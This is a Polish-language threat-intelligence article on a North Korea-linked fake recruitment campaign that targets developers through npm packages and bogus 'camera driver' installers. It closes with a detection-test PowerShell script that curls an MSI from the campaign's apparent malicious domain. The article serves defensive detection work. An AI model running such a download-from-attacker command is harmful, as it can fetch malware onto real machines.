Fałszywa kampania rekrutacyjna wykorzystuje pakiety npm do atakowania deweloperów

Streszczenie

Zaawansowany aktor groźby powiązany z Koreą Północną używa fałszywych procesów rekrutacyjnych, aby przejąć kontrolę nad komputerami deweloperów. Kampania ta obejmuje wieloetapowy łańcuch infekcji, w tym fałszywe firmy, zainfekowane pakiety npm i złośliwe instalatory „sterowników kamery”. Wykorzystując zaufane platformy zawodowe, takie jak LinkedIn i GitHub, atakujący zwiększają wiarygodność i zmniejszają podejrzenia podczas wstępnego kontaktu.

Śledztwo

Badacze z JFrog Security Research prześledzili kampanię od jednego złośliwego pakietu npm do w pełni rozwiniętej fałszywej firmy o nazwie AccuraSoftHire. Śledczy odkryli skoordynowaną infrastrukturę obejmującą fałszywe profile na LinkedIn, przekonującą stronę kariery oraz wiele jednorazowych kont npm. Analiza techniczna połączyła persony rekruterów, autorów projektów na GitHub i wydawców pakietów npm poprzez wspólne adresy e-mail i powtarzające się markery kodu.

Łagodzenie

Deweloperzy powinni traktować zadania programistyczne wykonywane w domu jako niepewny kod i uruchamiać je wyłącznie w izolowanych, jednorazowych maszynach wirtualnych lub kontenerach. Unikaj wykonywania poleceń instalacyjnych dostarczanych przez przeglądarki, zwłaszcza tych korzystających z curl lub PowerShell. Organizacje powinny wzmocnić bezpieczeństwo łańcucha dostaw oprogramowania poprzez audytowanie plików blokady zależności i monitorowanie nieoczekiwanych lub nieautoryzowanych aktualizacji pakietów.

Reakcja

Gdy wykrywane są podejrzane pakiety npm lub nieautoryzowane zmiany zadań w VS Code, natychmiast izoluj zainfekowane stanowisko pracy. Przeprowadź analizę kryminalistyczną ostatnich pobrań, aktywności przeglądarki i wykonanych poleceń. Sprawdź nieautoryzowane zadania zaplanowane lub nowe wpisy rejestru związane z hostami natywnego komunikatora Chrome. Przeglądaj dane uwierzytelniające dewelopera i aktywne sesje, aby zmniejszyć ryzyko przejęcia sesji.

Symulacja wykonania

Wymaganie wstępne: Test przedstartowy telemetrii i bazy musi zostać zaliczony.

Uzasadnienie: Ta sekcja przedstawia precyzyjne wykonanie techniki przeciwnika (TTP) zaprojektowanej do wyzwolenia reguły detekcji. Polecenia i opis MUSZĄ bezpośrednio odzwierciedlać zidentyfikowane TTP i mają na celu wygenerowanie dokładnej telemetrii oczekiwanej przez logikę detekcji. Abstrakcyjne lub niezwiązane przykłady mogą prowadzić do błędnej diagnozy.

• Scenariusz ataku i polecenia: Przeciwnik dąży do ustanowienia trwałości, podszywając się pod aktualizację systemu. Po pomyślnym oszustwie inżynierii społecznej, atakujący wykonuje curl polecenie, aby pobrać złośliwy plik MSI, nazywając go CameraDriverUpdate.msi aby wtopić się w szum systemu. Natychmiast potem atakujący wykonuje node -e ""— technika używana do testowania środowiska lub przygotowania do bardziej złożonych, zatuszowanych ładunków JavaScript, które unikają prostego wykrycia. Połączenie konkretnego pobierania w temacie sterownika i pustego wykonania node jest głównym wyzwalaczem dla reguły detekcji.

• Skrypt testowania regresyjnego:

  # Skrypt symulacyjny do wyzwalania reguły detekcji.
  # Ten skrypt imituje konkretne ciągi znaków zidentyfikowane w regule Sigma.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Wykonywanie złośliwej komendy curl..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Wykonywanie pustej komendy node..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Symulacja zakończona. Sprawdź SIEM pod kątem alertu." -ForegroundColor Green

• Polecenia czyszczenia:

  # Skrypt czyszczący, usuwający artefakty stworzone w trakcie symulacji.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Usunięto złośliwy artefakt MSI." -ForegroundColor Cyan
  }